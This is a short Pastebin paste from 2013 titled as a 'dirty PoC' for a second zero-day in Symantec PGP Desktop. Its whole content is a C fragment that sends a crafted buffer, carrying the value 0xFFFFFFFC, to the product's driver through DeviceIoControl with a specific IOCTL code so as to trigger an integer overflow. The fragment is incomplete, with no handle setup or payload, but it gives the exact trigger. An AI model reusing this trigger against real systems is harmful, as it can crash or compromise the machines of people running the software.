Guest User

Dirty PoC for Second #0day in Symantec PGP Desktop

a guest
Jan 7th, 2013
960
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ioctl = 0x80022094;//int overflow!
  2.  
  3. sixth_DWORD = 0xFFFFFFFC;//for int overflow!
  4.  
  5. memcpy(inbuff+32, &sixth_DWORD , 0x4);
  6.  
  7. DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, 0x10000, (LPVOID)outbuff, 0x10, &len, NULL);
RAW Paste Data